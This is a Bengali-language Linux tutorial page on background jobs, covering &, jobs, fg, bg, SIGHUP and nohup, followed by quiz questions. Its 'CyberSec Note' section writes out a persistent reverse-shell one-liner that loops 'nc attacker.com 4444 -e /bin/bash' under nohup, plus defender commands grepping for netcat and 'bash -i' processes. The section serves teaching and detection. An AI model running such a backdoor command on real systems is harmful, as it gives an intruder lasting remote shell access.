Background Jobs
সাধারণত command চালালে terminal সেটা শেষ হওয়া পর্যন্ত অপেক্ষা করে — এই সময় তুমি আর কিছু করতে পারো না। Background jobs এই সমস্যার সমাধান।
Foreground vs Background
Foreground মানে: Terminal block। Command শেষ না হওয়া পর্যন্ত terminal তোমার কোনো নতুন input নেবে না।
# এই command foreground-এ চলে
# 100 সেকেন্ড ধরে terminal block থাকবে
sleep 100
# এখন অন্য কিছু টাইপ করতে পারবে নাBackground মানে: Process চলতে থাকে, কিন্তু terminal free। তুমি অন্য কাজ করতে পারো।
# & দিলে background-এ যায়
sleep 100 &
# Output: [1] 5432
# ^ ^
# | PID (process ID)
# job number
# এখনই নতুন command দিতে পারো
ls -laJob number vs PID:
- Job number
[1]— এই terminal session-এর মধ্যে এটা কততম background job - PID
5432— পুরো system-এ এই process-এর unique ID
Job number দিয়ে fg, bg command কাজ করে। PID দিয়ে kill command কাজ করে।
& — Background-এ Start
Command-এর শেষে & যোগ করলেই background-এ যায়।
# Server background-এ চালু করো
python3 -m http.server 8080 &
# [1] 6789
# Terminal এখন free — অন্য কাজ করো
curl localhost:8080
ls /var/logjobs
এই terminal session-এর সব background jobs দেখো।
jobs
# Output:
# [1]+ Running sleep 100 &
# [2]- Stopped vim notes.txt
# ^ ^
# job# state| চিহ্ন | মানে |
|---|---|
+ | Default job — fg বা bg দিলে এটাই select হবে |
- | এর আগের job |
Running | চলছে |
Stopped | Ctrl+Z দিয়ে থামানো আছে |
fg এবং bg
fg — foreground-এ আনো
Background job-কে আবার terminal-এ ফিরিয়ে আনো।
# সবচেয়ে সাম্প্রতিক job foreground-এ আনো
fg
# নির্দিষ্ট job number
fg %1
fg %2fg করার পর terminal আবার block হবে — সেই process এখন foreground-এ।
পুরো Workflow একসাথে
# 1. Background-এ server চালাও
python3 -m http.server 8080 &
# [1] 7890
# 2. অন্য কাজ করো
curl localhost:8080
ls /var/log
# 3. Background jobs দেখো
jobs
# [1]+ Running python3 -m http.server 8080 &
# 4. Foreground-এ আনো (দরকার হলে)
fg %1
# 5. Ctrl+C দিয়ে বন্ধ করোnohup — Terminal বন্ধ হলেও চলুক
আগে জানো কেন terminal বন্ধ হলে background job মারা যায়:
তুমি terminal বন্ধ করলে Linux সেই terminal-এর সব child process-কে SIGHUP (Signal Hang Up) পাঠায়। এই signal পেলে process নিজেই বন্ধ হয়ে যায়।
nohup (No Hang Up) এই signal-কে ignore করে — তাই terminal বন্ধ হলেও process চলতে থাকে।
# terminal বন্ধ করলেও চলবে
nohup python3 server.py &
# Output: nohup.out (সব output এই file-এ যাবে)
# live দেখো:
tail -f nohup.out# nohup + নির্দিষ্ট output file
nohup python3 server.py > server.log 2>&1 &
# ^ ^
# stdout stderr ও এখানেnohup কখন দরকার: SSH দিয়ে remote server-এ কাজ করার সময় nohup ছাড়া background job চালালে — SSH connection বন্ধ হলে job-ও বন্ধ হয়ে যাবে। Long-running scripts বা servers চালাতে সবসময় nohup ব্যবহার করো।
CyberSec Note
Background jobs — attacker এবং defender perspective:
Attacker কীভাবে ব্যবহার করে:
Reverse shell পাওয়ার পর attacker প্রায়ই persistence তৈরি করতে background jobs ব্যবহার করে:
# Persistent backdoor — প্রতি ৬০ সেকেন্ডে পুনরায় connect করে
# terminal বন্ধ হলেও চলে
nohup bash -c 'while true; do nc attacker.com 4444 -e /bin/bash; sleep 60; done' &তুমি যদি defender হও — কীভাবে সন্দেহজনক background job ধরবে:
# এই terminal session-এর background jobs দেখো
jobs
# পুরো system-এ unusual processes
ps aux | grep -E "nc|ncat|netcat|bash -i"
# কোন process কোন external IP-তে connect করছে
ss -tnp | grep ESTABLISHEDSIGHUP এবং নিরাপত্তা: যখন কোনো system-এ unknown nohup process দেখবে, সেটা সন্দেহজনক — কারণ normal user সাধারণত nohup ব্যবহার করে না।
Quick Check
-
sleep 100আরsleep 100 &এর মধ্যে পার্থক্য কী? - Job number আর PID কেন আলাদা?
- Terminal বন্ধ করলে background job কেন মারা যায়?
-
nohupকীভাবে সেই সমস্যা সমাধান করে? -
fg %2মানে কী?
পরবর্তী → Killing Processes